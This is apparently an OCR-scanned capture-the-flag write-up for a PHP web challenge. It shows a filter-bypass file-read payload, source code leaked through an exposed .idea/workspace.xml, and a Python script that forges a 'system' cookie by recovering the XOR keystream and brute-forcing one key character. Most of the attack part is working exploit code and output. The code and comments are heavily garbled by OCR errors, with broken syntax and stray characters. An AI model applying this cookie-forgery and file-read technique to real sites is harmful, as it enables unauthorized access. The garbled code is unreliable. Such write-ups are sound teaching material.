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<?php
/**

* Created by PhpStorm.

* Date: 2015/11/16

* Time: 1:31

*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']l))

header ('Refresh:0;url=./index.php?jpg=hei.jpg');

$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>’;
$file = preg_replace("/["a-zA-Z0-9.]+/","", $file);
$file = str_replace("config"," ", $file);
$txt = base64_encode(file get contents($file));

echo "</img>";
/*

* Can you find the flag file?
*

*/

?>
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view-source:http://40bd4aa3f9d7411fa9a504272526586f4deb6elcbbe44807.game.ichunqiu.com/.idea/workspace.xml

<option value="$PROJECT_DIR$/x.php" />
<option value="$PROJECT_DIR$/config.php" />
<option value="$PROJECT_DIR$/f13g_ichugiu.php" />

A LE XA TREEH JL4 phpXfF, config.php,f13g ichugiu.php,x.php
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payload:

?jpg=fl3gconfigichuqiu.php

<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
/ /3K length LB ¥ BEHL 775 2
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopgrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];

}

return $hash;
}
// IS

function encrypt($txt, $key){
for($i=0;%i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
Y/ /txt W Fasciifbinie
$txt = $tmp;
$rnd=random(4);// EANLFENLFRFER
$key=md5($rnd.s$key);
$s=0;
for($i=0;%i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ~ $key[++$s];//txtHlkey R BB ttmp

}

return base64 _encode($rnd.$ttmp);
}
[/ RBET RAHkey

function decrvnt(%txt. $kev){



.............. I SNT mer=yTea—g s L

$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.s$key);

$s=0;

for($i=0;%i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i] $key[++$s];

}

for($i=0;%i<strlen($tmp);$i++){
$tmpl .= chr(ord($tmp[$i])-10);

}

return $tmpl;

}

$username = decrypt($_COOKIE[ 'user'],$key);

if ($username == 'system'){
echo $flag;

}else{
setcookie('user',encrypt('guest’,$key));
echo "\ (7 V'Y "
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# -*- coding: utf-8 -*
import requests

import string

from base64 import *

url = "http://cf28ccf5e2fc468bb413aelb25a184fa879fff035a8540c9.game.ichungiu.com/f13g_ichuqiu.php"

cookie = requests.get(url).cookies['user"']
# print cookie
txt = b64decode(cookie)
# print txt
rnd = txt[:4]
# print rnd
ttmp = txt[4:] #3K B cookie \TT B Elrnd/E (442 ) FttmpfE (567, BImd5)5 Kkey BT FHAL)
# print ttmp
keys = list('xxxxxx")
guest = list('guest')
for i in range(len(guest)):
guest[i] = chr(ord(guest[i])+10)
for i in range(len(guest)):
keys[i] = chr(ord(ttmp[i])~ord(guest[i])) HREIRTG, HHkeyWaTHA (RO
# print keys

system = list('system') #ACDHER (keyfl) RXfsystem#iTins
for i in range(len(system)):
system[i] = chr(ord(system[i])+10)
ttmp_new = "'
str = "'
payload = []
letters = '1234567890abcdef’ #systemGANHL, EHEAIRME RS Hkey, FrUABEER—THRE AL
for ch in letters:
keys[5] = ch
for i in range(len(system)):

ttmp_new += chr(ord(keys[i]) ~ ord(system[i]))
str = rnd + ttmp_new
payload.append(b64encode(str))
ttmp_new = "'
print payload
for i in payload:
cookies = {'user':i}
res = requests.get(url,cookies=cookies)
if 'flag' in res.content:
print i
print res.content

['ZFhxaRi2HB1fRg==', 'ZFhxaRi2HB1fRQ==', 'ZFhxaRi2HB1fRA==', 'ZFhxaRi2HB1fQw==', 'ZFhxaRi2HB1fQg==',

ZFhxaRi2HB1fFg==
Flag{ #HHHHHHHHT )}
[Finished in 3.1s]
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